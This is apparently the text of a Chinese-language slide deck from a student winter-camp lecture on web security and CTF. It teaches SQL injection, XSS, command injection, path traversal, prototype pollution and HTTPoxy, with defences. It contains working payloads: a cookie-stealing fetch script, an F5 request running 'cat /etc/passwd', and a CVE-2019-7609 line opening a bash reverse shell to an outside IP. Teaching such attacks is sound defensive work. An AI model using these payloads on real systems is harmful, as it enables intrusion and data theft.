Web Security
講師:堇姬
IZCC寒訓 2024.1.31
堇姬Naup(網管/美宣)
成電二年級/幽夜工作室繪師/台灣好厲駭學員
CKCSC36
DC : naup_sumire_hime
只是個喜歡資安的鶴,涉獵Crypto、Web、OSINT,最近有打算學reverse,我是Web狗
喜歡看輕小說、動畫、Vtuber、打音遊、畫畫,就是一個長年混跡ACG的宅女。
一些經歷
- 台灣好厲駭第八屆學員
- 金盾獎國高中組 | 決賽
- T貓盃國高中組 | 冠軍
- CGGC網路守護者挑戰賽 | 第九名
- AIS3 EOF | 初賽42名 | 決賽比賽中
漏洞紀錄
-
成功高中宿疾調查系統
-
臺北庫克雲網站
...(還有一些不能丟的)
Linux娘圖鑑
Ubuntu娘
Arch Linux 娘
Debian娘
Manjaro娘
Unix娘
Fedora娘
openSUSE娘
NixOS娘
ArchLabs娘
LFS娘
Windows娘圖鑑
WIN10
WIN11
WIN95
WIN8
WIN7
Windows Me
Windows 2000
Windows XP
Windows XP HOME
Windows Vista
Windows CE
Windows Server 2003
Windows NT4.0
WINDOWS 3.1
本日重點
-
資安是甚麼?
-
CTF
-
web security簡介
-
簡單攻擊手法
-
web security趨勢
本日目標
slido
資安是甚麼?
甚麼是駭客?
-
喜歡躲在陰暗角落?
-
只要打開電腦就能入侵別人系統?
-
喜歡穿帽T?
-
感覺很難,都是一些我看不懂的東西?
-
囂張的在別人電腦留下挑釁訊息?
成為一個web hacker
-
了解各種網路的運作原理、底層邏輯
-
觀察力
-
創造力
-
一個網站程式怎麼跑的(源代碼、底層、架構、運作方式)
-
查資料 & 蒐集資訊
簡單來說,要當web hacker你就是要當個機車的使用者
-
任何東西都可能成為漏洞
-
沒有絕對安全的網站
-
不要相信使用者
開發者守則
CTF
Capture The Flag
資安搶旗賽,是現實漏洞的縮影
-
Web
-
Crypto
-
pwn
-
reverse
-
misc
常見五個種類
其他種類
-
forensics
-
OSINT
當你成功解出題目時,會的到一串flag,這就是答案
ex: ckcscCTF{1t_1s_th3_f1a9!}
web security
WEB就是WEB(?
WEB就是網路安全,簡單來說,通靈+非常雜
需要的知識
-
WEB開發知識
-
編寫腳本技能
-
Linux
-
網路知識
-
足夠的靈力
......
- 英文不要看到就討厭,很多文章都是英文不過你可以用翻譯
- google!!!資安是可以查資料的!!!WEB很多東西很雜,不會的東西就去查
- 可以試著寫writeup
- 找到能夠跟你一起打的隊友
- 可以去多混社群
- 可以多打比賽跟題目
- 不要直接貼上flag!!!
可以去玩galgame給美少女幸福,這樣比賽時比較能夠通靈出來
打WEB可以注意
練習網站
ckcscCTF http://ctf.ckcsc.net/
picoCTF https://picoctf.org/
hacker101 https://ctf.hacker101.com/
LoTuXCTF https://lotuxctf.com/
CTFtime https://ctftime.org/
在開始前看一下法規
總之要打自己負責
準備好從入門到入獄了嗎?
SQL injection
透過注入 SQL 語句,來修改查詢,進而達到對資料庫的惡意攻擊
SELECT username,password FROM users WHERE username = '{username}' AND password = '{password}'
有洞嗎?
SELECT username,password FROM users WHERE username = 'Naup' AND password = '123'
正常查詢
帳號:Naup
密碼:123
如果我們注入
' OR 1=1 --
SELECT username,password FROM users WHERE username = '' OR 1=1 --' AND password = '123'
防範
-
針對特殊字元進行過濾
-
使用「參數化查詢 (Parameterized Query)」來設計資料存取功能。
-
WAF
1. admin' --
2. admin' /*
3. admin' ;
4. ad'||'min';
5. ad'||'min';
username: ad'||'min
password: a' IS NOT 'b
XSS
可以使得任意 JavaScript 程式碼插入到網站頁面中執行以達到攻擊目的
反射型 XSS (Reflected)
將惡意程式會藏在網址列裡,放在 GET 參數傳遞
http://www.example.com/upload.asp?id=<script>alert(1);</script>
DOM 型 XSS
把物件嵌入網頁程式碼
<img src=# onerror=”alert(123)”>
儲存型 XSS ( Stored )
將 Javascript 儲存在伺服器的資料庫中
將 Javascript 注入留言板,當下一位 User 瀏覽網頁時,網頁會載入留言板的 Javascript
<script>alert(1);</script>
-
竊取 Cookie
-
跳轉惡意網站
-
鍵盤側錄
-
過濾輸入
-
將輸入的東西編碼
-
輸入上限設定
防範
<script>
var flag = document.cookie;
fetch("{url}?cookie="+flag)
</script>
command injection
執行伺服器的命令 ( Command ) ,通常有這個漏洞就可以做到遠端程式碼執行( RCE,Remote Code Execution)
#include <stdlib.h>
int main() {
char input[100];
scanf("%s", input);
system("cat"+input);
return 0;
}
這是一個可以輸入文件,來做查詢的程式碼
如果我輸入 vvv.txt
如果有這份文件,就會cat vvv.txt
這樣做有甚麼問題嗎?
如果我輸入vvv.txt;ls
我可以在 ; 後執行任意指令!!
-
後端邏輯透過指令「串接」的方式
-
沒有去驗證使用者的輸入
Path traversal
架設網站的時候,會將網頁放在伺服器的某個目錄之下(假設有下列這個)
- /server/templates/haha.html
- /server/app.py
網址為 https://naup.com
- https://naup.com/templates/haha.html
對應到/server/templates/haha.html
若請求
然而如果我嘗試請求
https://naup.com/templates/haha.html/../../app.py
-
如果沒有過濾就會抓到app.py
有時使用../會被瀏覽器解析,故要將
../
進行 Url Encode 變成..%2F
-
產生原因
- 伺服器端的檔案權限沒有設定正確
- 服務 (Serving) 的目錄,不是白名單的方式,而是由伺服器端的程式碼使用「使用者傳入的字串」組成 目錄字串所造成的
app.get('/templates/:filename', function(req, res){
var filename = req.params.filename,
path = `templates/${filename}`;
return res.sendFile(path, {root: '/server'});
});
如何防禦?
可以直接設定好客戶端訪問的權限
app.get('/templates/:filename', function(req, res){
var filename = req.params.filename,
path = `${filename}`;
return res.sendFile(path, {root: '/server/templates/'});
});
題目
很簡單對不對!!!
可惜這美好的時代一去不復返,現在的web security可以用一個字表示
捲
舉個栗子
Off by Slash問題
Nginx
- Nginx 最主要的功能是作為網頁伺服器,處理來自網路的 HTTP 請求,並返回相對應的內容。
- Nginx 也常常被使用為反向代理伺服器,這樣可以大大提升網站的效能
http://server/static /main.js
location /static {
alias /home/app/static ;
}
/home/app/static/main.js
location
就像是 routing,設定不同的 path 要對應到怎麼樣的設定
哪個有漏洞?
location /static {
alias /home/app/static ;
}
location /static/ {
alias /home/app/static ;
}
location /static {
alias /home/app/static/ ;
}
location /static/ {
alias /home/app/static/ ;
}
A
B
C
D
location /static {
alias /home/app/static/ ;
}
C
http://server/static ../settings.py
/home/app/static/../settings.py
代理
PATH TRAVERSAL
你覺得nginx官方對這個漏洞的態度是甚麼?
WEB四大趨勢四大天王
那時候聽orange演講深有感觸
架
構
底層
不一致
跨領域
架構
hop-by-hop attack
X-Important-Header被刪掉可能導致意外洩漏資訊
function getUserIP() {
$ip = '';
if (isset($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (isset($_SERVER['REMOTE_ADDR'])) {
$ip = $_SERVER['REMOTE_ADDR'];
} else {
$ip = 'UNKNOWN';
}
return $ip;
}
GET / HTTP/1.1
Host: naup.tw
Accept: */*
Accept-Encoding: gzip
User-Agent: Mozilla/5.0
Connection: close, X-Forwarded-For
可以RCE嗎?
遠端程式碼執行 (RCE) 攻擊是指攻擊者可在組織的電腦或網路上執行惡意程式碼的攻擊
POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Authorization: Basic YWRtaW46aG9yaXpvbjM=
X-F5-Auth-Token: asdf
Connection: close, X-F5-Auth-Token
Content-Length: 55
{"command": "run", "utilCmdArgs": "-c cat /etc/passwd"}
RCE
Web Cache Deception
甚麼是快取?
有些靜態資源會時常被使用者訪問,所以他會放在cache server中,這樣就不用再到遠端server抓取資料了
這裡有個問題,什麼樣的資料應該被cache?
快取不應該存取任何敏感資訊的公共文件和靜態文件
https://naup.tw/css/test.css
css可以被存取,因為他不是敏感文件
https://naup.tw/profile
不應該被存取,因為你的profile中可能有敏感內容
https://naup.tw/profile.css
會被cache到嗎?
如果被cache到的話,這個頁面就會被cache server存取下來,並且對應到連結
https://naup.tw/profile.css
Data leak
不會驗證你身分可直接看到!!!
不一致
https://example.com/#@google.com/
{"foo": "bar", "foo": "baz"}
curl -X PUT
'http://naup.tw'
--data-binary '{
"type": "user",
"name": "oops",
"roles": ["_admin"],
"roles": [],
"password": "password"
}'
JavaScript
Erlang
Admin
底層
現在有許多成熟的框架,使得很多的時候需要去往底層挖
Prototype pollution
原型鏈污染
var str = "a"
var str2 = str.repeat(5)
console.log(str2)
你有沒有想過當你在用一些內建函式的時候,這些函式是從哪裡來的?
去MDN看一下發現他寫 String.prototype.repeat
因此我們知道,我們再用repeat這個方法時不是因為str底下有這個方法
在 JS 中有一個隱藏的屬性,叫做 __proto__
它儲存的值就是 JS 引擎應該往上找的地方
var str = ""
console.log(str.__proto__) // String.prototype
repeat 函式其實是存在於 String.prototype 這個物件上的一個方法
var obj = {}
console.log(obj.a) // undefined
console.log(obj.toString) // ƒ toString() { [native code] }
obj是個空物件
var obj = {}
console.log(obj.toString === Object.prototype.toString) // true
我可以改變prototype上的東西嗎?
String.prototype.first = function() {
return this[0]
}
console.log("abc".first()) // a
可以
Object.prototype.a = 123
var obj = {}
console.log(obj.a) // 123
Object.prototype.a = 123
var obj = {}
console.log(obj.a) // 123
你發現了嗎?有可以拿來利用的漏洞
我們透過 Object.prototype.a = 123「污染」了物件原型上的 a 這個屬性,導致程式在存取物件時,有可能出現意想不到的行為
if (user.isAdmin) {
// do some privileged operations
}
這裡用來驗證你是不是admin,user.isAdmin是用來存取你是不是admin的
http://server/?__proto__[isAdmin]=true
Admin
.es(*).props(label.__proto__.env.AAAA='require("child_process").
exec("bash -c 'bash -i>& /dev/tcp/10.70.53.113/6666 0>&1'");//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
CVE-2019-7609
RCE
跨領域
隨著web security的進步,只單純會web已經不行了,會需要去學習其他領域,如密碼學,以及跨協議或規範組合的誤用等也是一個可以嘗試發展的點
HTTPoxy attack
CGI & PHP FastCGI規範 (RFC 3875)
- 伺服器必須對每個請求設置這些元變數
- 元變數根據現有的 HTTP Header 加上 HTTP_ 前綴
- RFC 無規範元變數要存哪 (但大部分的實作皆放進環境變數)
GET / HTTP/1.1
Host: naup.tw
User-Agent: Mozilla/5.0
HTTP_HOST=naup.tw
HTTP_USER_AGENT=Mozila/5
HTTP_PROXY
是一個環境變數,用於指定在進行 HTTP 請求時要使用的proxy server
這是個約定俗成的,會直接抓環境變數的來用
export HTTP_PROXY=http://proxy_server
看出問題了嗎?
快取不應該存取任何敏感資訊的公共文件和靜態文件
RFC 命名規範跟 HTTP 函數庫約定成俗的變數撞名
GET /index.php HTTP/1.1
Host: naup.tw
User-Agent: Mozilla/5.0
PROXY: http://your-server/
HTTP_HOST=naup.tw
HTTP_USER_AGENT=Mozila/5
HTTP_PROXY= http://your-server/
proxy server被當成目標server內部請求來訪問
SSRF
Timeless Timing Attacks
- 首先檢查兩個密碼的長度是否相同。如果不是,則拒絕存取。
- 檢查第一個字元是否相同。如果不是,則拒絕存取。
- 檢查第二個字元是否相同。如果不是,則拒絕存取。
- 繼續檢查所有字元。如果可以到達末尾且沒有不匹配,則密碼匹配,並且使用者已登入。
密碼配對演算法
響應時間不同
Q&A
偷曬老婆
Web security-winter camp
By naup96321
Web security-winter camp
- 62